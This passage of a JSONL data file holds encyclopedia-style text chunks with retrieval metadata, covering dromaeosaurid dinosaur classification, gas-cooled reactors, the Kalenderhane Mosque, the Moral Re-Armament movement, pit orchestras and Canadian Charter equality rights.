has feathers may stretch the word past any useful meaning. ( see the article avialae for a discussion about the definitions of the clades aves and avialae. ) at least two schools of", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4786725694873857, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.568055"} {"text": "caudipteryx a bird because it has feathers may stretch the word past any useful meaning. ( see the article avialae for a discussion about the definitions of the clades aves and avialae. ) at least two schools of researchers have proposed that dromaeosaurs may actually be descended from flying ancestors. hypotheses involving a flying ancestor for dromaeosaurs are sometimes called \u201c birds came first \u201d ( bcf ). george olshevsky is usually credited as the first author of bcf. in his own work, gregory s. paul pointed out numerous features of the dromaeosaurid skeleton that he interpreted as evidence that the entire group had evolved from flying, dinosaurian, ancestors, perhaps something like archaeopteryx. in that case, the larger dromaeosaurids were secondarily flightless, like the modern ostrich. in 1988, paul suggested that dromaeosaurids may actually be more closely related to modern birds than to archaeopteryx. by 2002, however, paul placed dromaeosaurs and archaeopteryx as the closest relatives to one another. in 2002, hwang et al. found that microraptor was the most primitive dromaeosaur. xu and colleagues in 2003 cited the basal position of microraptor, along with feather and wing features, as evidence that the ancestral dromaeosaur could glide. in that case the larger dromaeosaurs would be secondarily terrestrial \u2014 having lost the ability to glide later in their evolutionary history. also in 2002, steven czerkas described cryptovolans, though it is a probable junior synonym of microraptor. he reconstructed the fossil inaccurately with only two wings and thus argued that dromaeosaurs were proper birds, rather than possible gliders. he later issued a revised reconstruction in agreement with that of microraptor other researchers, like larry martin believe that dromaeosaurs, along with all maniraptorans are not dinosaurs at all. martin asserted for decades that birds were unrelated to maniraptorans, but in 2004 he changed his position, and now he agrees that the two are the closest of relatives. martin believes that maniraptorans are secondarily flightless birds, and that birds evolved from non \u2013 dinosaurian archosaurs, so that most of the species formerly called theropods would now not even be classified as dinosaurs. in", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5086456632426534, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.568917"} {"text": "martin believes that maniraptorans are secondarily flightless birds, and that birds evolved from non \u2013 dinosaurian archosaurs, so that most of the species formerly called theropods would now not even be classified as dinosaurs. in 2005, mayr and peters described the anatomy of a very well preserved specimen of archaeopteryx, and determined that its anatomy was more like non - avian theropods than previously understood. specifically, they found that archaeopteryx had a primitive palatine, unreversed hallux, and hyper - extendable second toe. their phylogenetic analysis produced the controversial result that confuciusornis was closer to microraptor than to archaeopteryx, making the avialae a paraphyletic taxon. they also suggested that the ancestral paravian was able to fly or glide, and that the dromaeosaurs and troodontids were secondarily flightless ( or had lost the ability to glide ). corfe and butler criticized this work on methodological grounds. a challenge to all of these alternative scenarios came when turner and colleagues in 2007 described a new dromaeosaurid, mahakala, which they found to be the most basal and most primitive member of the dromaeosauridae, more primitive than microraptor. mahakala had short arms and no ability to glide. turner et al. also inferred that flight evolved only in the avialae, and these two points suggested that the ancestral dromaeosaurid could not glide or fly. based on this cladistic analysis, mahakala suggests that the ancestral condition for dromaeosaurids is non - volant. however in 2012, an expanded and revised study incorporating the most recent dromaeosaurid finds recovered the archaeopteryx - like xiaotingia as the most primitive member of the clade dromaeosauridae, which appears to suggest the earliest members of the clade may have been capable of flight. the authorship of the family dromaeosauridae is credited to william diller matthew and barnum brown, who erected it as a subfamily ( dromaeosaurinae ) of the family deinodontidae in 1922, containing only the new genus dromaeosaurus. dromaeosauridae, along with troodontidae, make up the infraorder deinonychosauria. the subfamilies of dromaeosauridae frequently shift in content", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4744863206906779, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.569780"} {"text": "new genus dromaeosaurus. dromaeosauridae, along with troodontidae, make up the infraorder deinonychosauria. the subfamilies of dromaeosauridae frequently shift in content based on new analysis, but typically consist of the following groups. a number of dromaeosaurids have not been assigned to any particular subfamily, often because they are too poorly preserved to be placed confidently in phylogenetic analysis ( see section phylogeny below ), or because they are basal relative to the primary subdivisions of dromaeosauridae ( mahakala, for example, is the most primitive known dromaeosaurid and falls outside any named sub - group ). the most basal subfamily of dromaeosaurids is often found to be the unenlagiinae. this enigmatic group is the most poorly supported subfamily of dromaeosaurs and it is possible that some or all of its members belong outside of dromaeosauridae. the larger, ground - dwelling members like buitreraptor and unenlagia show strong flight adaptations, although they were probably too large to ' take off '. one member of this group, rahonavis, is very small, with well - developed wings that show evidence of quill knobs ( the attachment points for flight feathers ) and it is very likely that it could fly. the next most primitive clade of dromaeosaurs is the microraptoria. this group includes many of the smallest dromaeosaurs, which show adaptations for living in trees. all known dromaeosaur skin impressions hail from this group and all show an extensive covering of feathers and well - developed wings. like the unenlagiines, some species may have been capable of active flight. the subfamily velociraptorinae has traditionally included velociraptor, deinonychus, and saurornitholestes, and while the discovery of tsaagan lent support to this grouping, the inclusion of saurornitholestes is still uncertain. the dromaeosaurinae is usually found to consist of medium to giant - sized species, with generally box - shaped skulls ( the other subfamilies generally have narrower snouts ). the following classification of the various genera of dromaeosaurids follows the table provided in holtz, 2011 unless otherwise noted. - family dromaeosauridae dromaeosauridae", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4668763039894341, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.570694"} {"text": "presence of a subglenoid fossa on the coracoid. in popular culture velociraptor, a dromaeosaurid, gained much attention after it was featured prominently in the 1993 steven spielberg film jurassic park. however, the dimensions of the velociraptor in the film are much larger than the largest members of that genus. robert bakker recalled that spielberg had been disappointed with the dimensions of velociraptor and so upsized it, adding that soon afterwards he named utahraptor which was more the size depicted, or larger. gregory s. paul, in his book predatory dinosaurs of the world, considered deinonychus antirrhopus a species of velociraptor, and so rechristened the species velociraptor antirrhopus. this taxonomic opinion has not been widely followed. - senter p., kirkland j. i., deblieux d. d., madsen s., toth n. ( 2012 ). \" new dromaeosaurids ( dinosauria : theropoda ) from the lower cretaceous of utah, and the evolution of the dromaeosaurid tail \". plos one 7 ( 5 ) : e36790. bibcode : 2012ploso... 7e6790s. doi : 10. 1371 / journal. pone. 0036790. - holtz, thomas r. jr. ( 2012 ) dinosaurs : the most complete, up - to - date encyclopedia for dinosaur lovers of all ages, winter 2011 appendix. - acorn, j. ( 2007 ). deep alberta : fossil facts and dinosaur digs. university of alberta press. p. 13. isbn 0 - 88864 - 481 - 7. - case, j. a., martin, j. e., and reguero, m. ( 2007 ). \" a dromaeosaur from the maastrichtian of james ross island and the late cretaceous antarctic dinosaur fauna. \" pp. 1 \u2013 4 in cooper, a., raymond, c., and team, i. e. ( eds. ), antarctica : a keystone in a changing world \u2013 online proceedings for the tenth international symposium on antarctic earth sciences, u. s. geological survey open - file report 2007 - 1047, srp 083. u. s. geological survey, washington, d. c. - metcal", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4730609215069008, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.572456"} {"text": "world \u2013 online proceedings for the tenth international symposium on antarctic earth sciences, u. s. geological survey open - file report 2007 - 1047, srp 083. u. s. geological survey, washington, d. c. - metcalf, s. j., vaughan, r. f., benton, m. j., cole, j., simms, m. j. and dartnall, d. l. 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( abstract ) | wikispecies has information related to : dromaeosauridae | | wikimedia commons has media related to : dr", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4887464358012411, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 24, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.583480"} {"text": "a gas - cooled reactor ( gcr ) is a nuclear reactor that uses graphite as a neutron moderator and carbon dioxide ( helium can also be used ) as coolant. although there are many other types of reactor cooled by gas, the terms gcr and to a lesser extent gas cooled reactor are particularly used to refer to this type of reactor. the gcr was able to use natural uranium as fuel, enabling the countries that developed them to fabricate their own fuel without relying on other countries for supplies of enriched uranium, which was at the time of their development only available from the united states or soviet union. there were two main types of generation i gcr : the main difference between these two types is in the fuel cladding material. both types were mainly constructed in their countries of origin, with a few export sales : magnox plants to italy and japan, and a ungg to spain. both types used fuel cladding materials that were unsuitable for medium term storage under water, making reprocessing an essential part of the nuclear fuel cycle. both types were, in their countries of origin, also designed and used to produce weapons - grade plutonium, but at the cost of major interruption to their use for power generation despite the provision of online refuelling. in the uk, the magnox was replaced by the advanced gas - cooled reactor ( agr ), an improved generation ii gas cooled reactors. in france, the ungg was replaced by the pressurized water reactor ( pwr ). more recently, gcrs based on the declassified drawings of the early magnox reactors have been constructed by north korea at the yongbyon nuclear scientific research center. gas - cooled reactor types include : - heavy water gas cooled reactor ( hwgcr ) - gas - cooled reactor ( graphite moderated ) - advanced gas - cooled reactor - gas - cooled fast reactor - gas turbine modular helium reactor, general atomics design : he - cooled, graphite moderated - high temperature gas cooled reactor - pebble bed reactor - very high temperature reactor see also | this article about nuclear power and nuclear reactors for power generation is a stub. you can help wikipedia by expanding it. |", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5534645547691542, "token_count": 446, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.586787"} {"text": "the mosque viewed from the southeast in 2012 | architectural type | | church with greek cross plan | | architectural style | | middle byzantine - comnenian | kalenderhane mosque ( turkish : kalenderhane camii ) is a former eastern orthodox church in istanbul, converted into a mosque by the ottomans. with high probability the church was originally dedicated to the theotokos kyriotissa. this building represents one among the few extant examples of a byzantine church with domed greek cross plan. the mosque is located in the fatih district of istanbul, turkey, in the picturesque neighborhood of vefa, and lies immediately to the south of the easternmost extant section of the aqueduct of valens, and less than one km to the southeast of the vefa kilise mosque. the first building on this site was a roman bath, followed by a sixth - century ( the dating was based on precise coin finds in stratigraphic excavation ) hall church with an apse laying up against the aqueduct of valens. later \u2013 possibly in the seventh century \u2013 a much larger church was built to the south of the first church. a third church, which reused the sanctuary and the apse ( later destroyed by the ottomans ) of the second one, can be dated to the end of the twelfth century, during the late comnenian period. it may date to between 1197 and 1204, since constantine stilbes alluded to its destruction in a fire in 1197. the church was surrounded by monastery buildings, which disappeared totally during the ottoman period. after the latin conquest of constantinople, the building was used by the crusaders as a roman catholic church, and partly officiated by franciscan clergy. after the conquest of constantinople in 1453, the church was assigned personally by mehmed ii to the kalenderi sect of the dervish. the dervishes used it as a zaviye and imaret ( public kitchen ), and the building has been known since as kalenderhane ( turkish : \" the house of the kalenderi \" ). in 1746, hac\u0131 besir aga ( d. 1747 ), the kizlar agas\u0131 of the topkap\u0131 palace, built a mihrab, minbar and mahfil, completing the conversion of the building into a mosque. ravaged by fire and damaged by earthquakes, the mosque was restored in 1855 and again between 1880 and 1890. it was abandoned in the 1930s, after the collapse of the minaret due", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.39243171223616097, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.592153"} {"text": "in istanbul : a mosaic, one meter square, representing the \" presentation of christ \", which is the only pre - iconoclastic exemplar of a religious subject surviving in the city, and a cycle of frescoes of the thirteenth century ( found in a chapel at the southeast corner of the building, and painted during the latin domination ) portraying the life of saint francis of assisi. this is the oldest known representation of the saint, and may have been painted only a few years after his death in 1226. both have now been detached and partially restored, and can be seen in the archaeological museum of istanbul. as a whole, the mosque of kalenderhane represents \u2013 together with the gul mosque in istanbul, the church of hagia sophia in thessaloniki and the church of the dormition in ( koimesis ) in iznik ( nicaea ), one of the main architectural examples of a domed greek cross church from the byzantine middle period. - mathews ( 1976 ), p. 171. - magdalino ( 2007 ) pp. 227 - 230. - muller - wiener ( 1977 ), p. 156. - he was the chief of the custodians of the harem in the sultan ' s palace. during the last years of his life he endowed several religious foundations. muller - wiener ( 1977 ), p. 156. - a book by the two authors of the restoration was published in 1997. - mathews ( 1976 ), p. 172. - this church was destroyed by an act of vandalism in 1920, but was studied some years before. krautheimer ( 1986 ). - krautheimer ( 1986 ), p. 317. - mathews, thomas f. ( 1976 ). the byzantine churches of istanbul : a photographic survey. university park : pennsylvania state university press. isbn 0 - 271 - 01210 - 2. - gulersoy, celik ( 1976 ). a guide to istanbul. istanbul : istanbul kitapl\u0131g\u0131. oclc 3849706. - muller - wiener, wolfgang ( 1977 ). bildlexikon zur topographie istanbuls : byzantion, konstantinupolis, istanbul bis zum beginn d. 17 jh ( in german ). tubingen : wasmuth. isbn 978 - 3 - 8030 - 1022 - 3. - krautheimer, richard ( 1986 ). architettura paleocristiana e bizantina ( in italian )", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4292178972715447, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.594161"} {"text": "moral re - armament ( mra ) was an international moral and spiritual movement that, in 1938, developed from the american minister frank buchman ' s oxford group. buchman headed mra for 23 years until his death in 1961. in 2001 the movement was renamed initiatives of change. in 1938 europe was rearming militarily. frank buchman, initiator of the work which became known as the oxford group, was convinced that military rearmament alone would not resolve the crisis. at a meeting of 3, 000 in east ham town hall, london, on 29 may 1938, he launched a campaign for moral re - armament. \" the crisis is fundamentally a moral one, \" he said. \" the nations must re - arm morally. moral recovery is essentially the forerunner of economic recovery. moral recovery creates not crisis but confidence and unity in every phase of life. \" the phrase caught the mood of the time, and many public figures in britain spoke and wrote in support. british tennis star h. w. austin edited the book, moral rearmament ( the battle for peace ), which sold half a million copies. bunny austin remained committed to mra but had very little contact in the 1980s sensing that the movement had drifted away from its roots. two years later the novelist daphne du maurier published come wind, come weather, stories of ordinary britons who had found hope and new life through mra. she dedicated it to \" frank buchman, whose initial vision made possible the world of the living characters in these stories, \" and added, \" what they are doing up and down the country in helping men and women solve their problems, and prepare them for whatever lies ahead, will prove to be of national importance in the days to come. \" the book sold 650, 000 copies in britain alone. when war broke out, many of those active in the campaign for moral re - armament joined the allied forces. others worked to heighten morale and overcome bottlenecks, particularly in war - related industries. senator ( later president ) harry truman, chair of the senate ' s truman committee investigating war contracts, told a washington press conference in 1943 : \" suspicions, rivalries, apathy, greed lie behind most of the bottlenecks. this is where the moral re - armament group comes in. where others have stood back and criticised, they have rolled up their sleeves and gone to work. they have already achieved remarkable results in bringing teamwork into industry, on the principles not of \" who ' s right \" but of \" what", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45114429363636516, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.604823"} {"text": "comes in. where others have stood back and criticised, they have rolled up their sleeves and gone to work. they have already achieved remarkable results in bringing teamwork into industry, on the principles not of \" who ' s right \" but of \" what ' s right \". \" in britain about 30 mra workers were exempted from military service to continue this work. but, when ernest bevin became minister of labour in 1940, he decided to conscript them. over 2, 500 clergy and ministers signed a petition opposing this, and 174 members of parliament put down a motion stating the same. bevin made clear that he would resign from the government if he was defeated, and the government put a three - line whip upon its supporters. as a result, the oxford group workers were excluded from the exemption from military service bill. at the end of the war, the mra workers returned to the task of establishing a lasting peace. in 1946, 50 swiss families active in the work of mra bought and restored a large, derelict hotel at caux, switzerland. this became a centre of european reconciliation, attended by thousands in the following years, including german chancellor adenauer and french foreign minister robert schuman. buchman was awarded the croix de chevalier of the legion d ' honneur by the french government, and also the german grand cross of the order of merit. the historians douglas johnston and cynthia sampson described the work as an \" important contribution to one of the greatest achievements in the entire record of modern statecraft : the astonishingly rapid franco - german reconciliation after 1945. \" in britain hundreds donated towards the purchase of the westminster theatre in london, as a living memorial to the men and women of moral re - armament who had died in war service. many servicemen gave their gratuities. for the next 50 years the theatre presented a host of plays and musicals focusing on the moral and spiritual base on which a just and democratic society depends. one of the best - known was the pantomime ' give a dog a bone ', which ran every christmas for many years, to the delight of thousands of children. in france the well - known philosopher gabriel marcel edited a book, ' un changement d ' esperance a la rencontre du rearmament moral ', which brings together the stories of a french socialist leader, brazilian docker, an african chief, a buddhist abbot, a canadian industrialist and many others who found a new approach through mra. the english edition, published by longmans, was titled ' fresh hope", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45484575718872444, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.605863"} {"text": "together the stories of a french socialist leader, brazilian docker, an african chief, a buddhist abbot, a canadian industrialist and many others who found a new approach through mra. the english edition, published by longmans, was titled ' fresh hope for the world '. mra began holding conferences on mackinac island, michigan in 1942, first in a leased hotel and then at the island ' s grand hotel. by the early 1950s they acquired considerable land holdings on the island. between 1954 and 1960 constructed an extensive training center including a theatre and soundstage. the soundstage was used for the production of motion pictures, including the crowning experience, voice of the hurricane, and decision at midnight. in 1966 mra deeded much of the property on the island to mackinac college. several new facilities, including a classroom building and library were constructed. this independent and non - sectarian institution of higher education operated from 1966 until 1970. it developed programs in statesmanship and leadership, as well as more traditional curricula. in the 1950s and 1960s, mra ' s work expanded across the globe. buchman was a pioneer of multi - faith initiatives. as he said, \" mra is the good road of an ideology inspired by god upon which all can unite. catholic, jew and protestant, hindu, muslim, buddhist and confucianist \u2013 all find they can change, where needed, and travel along this good road together. \". these ideas appealed to many in the african and asian countries moving toward independence from colonial rule. leaders of these independence struggles have paid tribute to mra ' s contribution to bringing unity between groups in conflict, and helping ease the transition into independence. in 1956 king mohammed v of morocco sent a message to buchman : \" i thank you for all you have done for morocco in the course of these last testing years. moral re - armament must become for us muslims as much an incentive as it is for you christians and for all nations. \" in 1960 archbishop makarios and dr kucuk, president and vice - president of cyprus, jointly sent the first flag of independent cyprus to frank buchman at caux in recognition of mra ' s help. some attacked the movement. in the 1950s mra was regularly attacked by radio moscow overseas service. in november 1952 it said, \" moral re - armament supplants the inevitable class war by the ' permanent struggle between good and evil ', \" and \" has the power to attract radical revolutionary minds. \" the catholic theologian john", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4626426932423059, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.606881"} {"text": "overseas service. in november 1952 it said, \" moral re - armament supplants the inevitable class war by the ' permanent struggle between good and evil ', \" and \" has the power to attract radical revolutionary minds. \" the catholic theologian john hardon claimed that the movement ' s political ideas were naive, since they appeared to assume that moral awakening would solve \" social problems that have vexed humanity since the dawn of history \". other catholics took a different view. in 1993 cardinal franz koenig, archbishop of vienna, wrote that \" buchman was a turning - point in the history of the modern world through his ideas. \" mra has always been active in industry and business. in buchman ' s view, management and labour could ' work together like the fingers on the hand, ' and in order to make that possible he aimed to answer ' the self - will in management and labour who are both so right, and so wrong. ' mra ' s role was to offer the experience which would free those people ' s hearts and minds from the motivations or prejudices which prevent just solutions. william grogan, an international vice - president of the american transport workers ' union, said that ' between 1946 and 1953 national union leaders, local union officials, shop stewards and rank and file union members from 75 countries had received training ' in mra principles. evert kupers, for 20 years president of the dutch confederation of trades unions, stated that ' the thousands who have visited caux have been deeply impressed by its message for our age and by the real comradeship they found there. ' in france maurice mercier, secretary - general of the textile workers within the force ouvriere, said : ' class war today means one half of humanity against the other half, each possessing a powerful arsenal of destruction... not one cry of hatred, not one hour of work lost, one one drop of blood shed - that is the revolution to which mra calls bosses and workers. ' today the caux round table principles for business are being implemented by businesses in many countries. the movement had christian roots, but grew into an informal, international network of people of all faiths and backgrounds. it was based around what it called ' the four absolutes ' ( absolute honesty, absolute purity, absolute unselfishness and absolute love ) and encouraged its members to be actively involved in political and social issues. one of the movement ' s core ideas was that changing the world starts with seeking change in oneself. rename", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.509188404527262, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.607855"} {"text": "honesty, absolute purity, absolute unselfishness and absolute love ) and encouraged its members to be actively involved in political and social issues. one of the movement ' s core ideas was that changing the world starts with seeking change in oneself. rename to \" initiatives of change \" in 2001 the mra movement changed its name to initiatives of change ( iofc ). a non - governmental organization based in caux, switzerland, initiatives of change international serves as the legal and administrative entity to federate the national bodies of initiatives of change for purposes of cooperation with the entities such as the united nations and the council of europe. national initiatives include \" [ www. hopeinthecities. org hope in the cities ] \" in the united states, the \" [ www. cauxforum. net caux forum for human security ] \" in switzerland, and the \" [ www. iccfg. net ic centre for governance ] \" in india. - buchman, frank n. d., remaking the world ( london, 1955 ), p. 46. - lean, garth frank buchman \u2013 a life, p279 - lean, garth ; frank buchman, p 300 - lean, garth. frank buchman \u2013 a life, p. 324 - lean, garth. frank buchman, p 382 - edward luttwak, \" franco - german reconciliation : the overlooked role of the moral re - armament movement \", in religion, the missing dimension of statecraft, douglas johnston and cynthia sampson ( editors ), oxford university press 1994 - johnston and sampson, religion, the missing dimension of statecraft, oxford university press, 1994 - lean garth. frank buchman : a life, p. 340 - marcel, gabriel ed. un changement d ' esperance a la rencontre du rearmament moral librarie plon 1958 - buchman, remaking the world, p. 166. - lean, garth. frank buchman, p 454 - lean, garth. frank buchman, p 524 - lean, garth. frank buchman, p. 418 - an evaluation of moral rearmament, by fr. john a. hardon, s. j. - lean, garth. frank buchman, p 2 - grogan, william ; john riffe of the steelworkers, coward, mccann 1959, p140 - foreword to ' world labour and caux ', caux 1950 - piguet and sentis, ' ce monde que dieu nous", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4821710083142594, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.608718"} {"text": "a pit orchestra is a type of orchestra that accompanies performers in musicals, operas, and other shows involving music. the terms was also used for orchestras accompanying silent movies when more than a piano was used. in performances of operas and ballets, the pit orchestra is typically similar in size to a symphony orchestra, though it may contain smaller string and brass sections, depending upon the piece. such orchestras may vary in size from approximately 30 musicians ( early baroque and classical opera ) to as many as 90 - 100 musicians ( wagnerian opera ). however, because of financial, space, and volume concerns, the musical theatre pit orchestra is considerably smaller ( at most 20 - 30 musicians, including not more than ten string players ). typically, pit orchestras play in a lowered area in front of the stage called an orchestra pit. inside the pit, the conductor stands towards the stage and with his or her back towards the audience to coordinate the music with the actions of the singers, dancers and actors, while the orchestra sits facing the conductor and audience. if a performance is funded enough, there may also be a camera that broadcasts what the conductor is doing live to tv screens at the back of the theatre. the conductor may also sit at a keyboard ( or two ) and conduct as well as play. this is often the case when a show only requires a small orchestra, or on national tours, where the instrumentation is often reduced from the original arrangement and one or two keyboard players substitute for several instruments. music parts for pit orchestra woodwind players in musical theatre are normally divided into \" reed books \". orchestration varies with each show based on the type of music that will be performed, such as jazz, classical, or blues. for example, a reed 1 book may contain music for piccolo, flute, eb alto saxophone, bb clarinet, and / or oboe. a musician handed a reed book would be expected to play each part. because the musician plays so many different instruments, he or she is referred to as a \" doubler \" ( even though the reed books may have up to five instruments each ). musicians who play in pit orchestras are not only required to play multiple instruments at times, but they must also be familiar and able to play in multiple keys, styles, and tempos and make a switch instantaneously. the orchestration for a musical is written in a key best suited to the singer. some keys are more difficult to play in than others because of the increased attention that greater amounts of sharps and flats require. musicals also tend", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4977584126691334, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.613609"} {"text": "switch instantaneously. the orchestration for a musical is written in a key best suited to the singer. some keys are more difficult to play in than others because of the increased attention that greater amounts of sharps and flats require. musicals also tend to have a number of styles which can range from a soulful ballad to an involved funk tune to a hard rock song. many musicians have been trained to play in a certain style but in order to play in pit orchestras, one must be able to play them all. because musicals are live, many elements can change from show to show ; pit orchestra musicians consequently should be able to play different tempos every night and even skip through their music to a spot if an actor messes up. preparing to play in a pit orchestra although members of a pit orchestra are not required to demonstrate great stage presence, and they may work out of sight from much of the audience, they can generally be seen from the balcony seats and are thus required to adhere to standard rules of dress and appearance preparation by musicians in a pit orchestra may consist of buying a recording of a show, listening to it, and play along with the recording. pit orchestra size examples pit orchestras can range from large orchestras to small rock combos. while a pit orchestra usually plays in the orchestra pit, there are times when they are on stage in the background ( this is usually for rock musicals ). below are examples pit orchestra examples from five major theatrical license companies : music theatre international, tams - witmark, samuel french, inc., rodgers and hammerstein theatricals, and theatrical rights worldwide ( excluding any conductor scores unless needed ). you can easily see the varying sizes of pit orchestras. although some books can be played by more than one musician, the difference in size is still observable.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.44849082548103003, "token_count": 363, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.614679"} {"text": "section fifteen of the canadian charter of rights and freedoms of rights and freedoms | part of the constitution act, 1982. | | guarantee of rights and freedoms | | 3, 4, 5 | | 7, 8, 9, 10, 11, 12, 13, 14 | | official languages of canada | | 16, 16. 1, 17, 18, 19, 20, 21, 22 | | minority language education rights | | 25, 26, 27, 28, 29, 30, 31 | | application of charter | section 15 of the canadian charter of rights and freedoms contains guaranteed equality rights. as part of the constitution, the section prohibits certain forms of discrimination perpetrated by the governments of canada with the exception of ameliorative programs ( affirmative action ) and rights or privileges guaranteed by or under the constitution of canada in respect of denominational, separate or dissentient schools ( religious education ). rights under section 15 include racial equality, sexual equality, mental disability, and physical disability. in its jurisprudence, it has also been a source of gay rights in canada. these rights are guaranteed to \" every individual, \" that is, every natural person. this wording excludes \" legal persons \" such as corporations, contrasting other sections that use the word \" everyone, \" where \" legal persons \" were meant to be included. section 15 has been in force since 1985. under the heading of \" equality rights \" this section states : | \u201c | | 15. ( 1 ) every individual is equal before and under the law and has the right to the equal protection and equal benefit of the law without discrimination and, in particular, without discrimination based on race, national or ethnic origin, colour, religion, sex, age or mental or physical disability. ( 2 ) subsection ( 1 ) does not preclude any law, program or activity that has as its object the amelioration of conditions of disadvantaged individuals or groups including those that are disadvantaged because of race, national or ethnic origin, colour, religion, sex, age or mental or physical disability. the canadian bill of rights of 1960 had guaranteed the \" right of the individual to equality before the law and the protection of the law. \" equal protection of the law is a right that has been guaranteed by the equal protection clause in the fourteenth amendment to the united states constitution since 1868. section 15 itself dates back to the earliest draft of the charter, published in october 1980, but it was worded differently. it read, | \u201c | | ( 1 ) everyone has the right to", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45562761325081913, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.624125"} {"text": "fourteenth amendment to the united states constitution since 1868. section 15 itself dates back to the earliest draft of the charter, published in october 1980, but it was worded differently. it read, | \u201c | | ( 1 ) everyone has the right to equality before the law and to equal protection of the law without discrimination because of race, national or ethnic origin, colour, religion, age or sex. ( 2 ) this section does not preclude any law, program or activity that has as its object the amelioration of conditions of disadvantaged persons or groups. during the drafting, the guarantee to \" everyone \" was dropped in favour of \" every individual, \" with the intent that corporations could not invoke equality rights. in addition, while the original version spoke of equality before the law and equal protection of the law, the section ultimately enacted included guarantees of equality under the law and equal benefit of the law. the reason for these additions was to encourage a generous reading of section 15. in the bill of rights cases attorney general of canada v. lavell ( 1974 ) and bliss v. canada ( 1979 ), supreme court justice roland ritchie had said only the application, and not the outcome, of the law must be equal, thereby necessitating an explicit guarantee of equality under the law ; and that legal benefits need not be equal, thereby necessitating an explicit guarantee of equal benefit of the law. though the charter itself came into effect on april 17, 1982, section 15 was not brought into force until april 17, 1985, in accordance with section 32 ( 2 ) of the charter. the reason for this was so that provincial and federal governments would have enough time to review their legislation and make the appropriate changes to any discriminatory laws. meaning and purpose of equality according to the supreme court of canada ' s section 15 jurisprudence, the equality guarantees of section 15 are aimed at preventing the \" violation of essential human dignity and freedom through the imposition of disadvantage, stereotyping, or political and social prejudices, and to promote a society in which all persons enjoy equal recognition at law as human beings or as members of canadian society, equally capable and equally deserving of concern, respect and consideration. \" ( iacobucci j. in law v. canada, ) to that end, the charter recognizes four dimensions of equality, including substantive equality. - equality before the law is equality in the administration of justice, where all individuals are subject to the same criminal laws in the same manner by law enforcement and the courts. -", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46013216039470395, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.625288"} {"text": "that end, the charter recognizes four dimensions of equality, including substantive equality. - equality before the law is equality in the administration of justice, where all individuals are subject to the same criminal laws in the same manner by law enforcement and the courts. - equality under the law is equality in the substance of the law, where the content of the law is equal and fair to everyone so that everyone experiences the same result. - equal benefit of the law ensures that benefits imposed by law will be proportionate. - equal protection of the law ensure that the protections imposed by law will be proportionate so that the human dignity of every person is equally safeguarded by the law. unlike formal equality, which overlooks personal differences, substantive equality is concerned with the impact of the law on different groups of individuals. substantive equality requires that there be an equal impact on the person affected by the law. application of section fifteen after law v. canada ( 1999 ) the question of whether dignity was affected was key to a section 15 analysis. in r. v. kapp ( 2008 ), the problems with the dignity analysis were 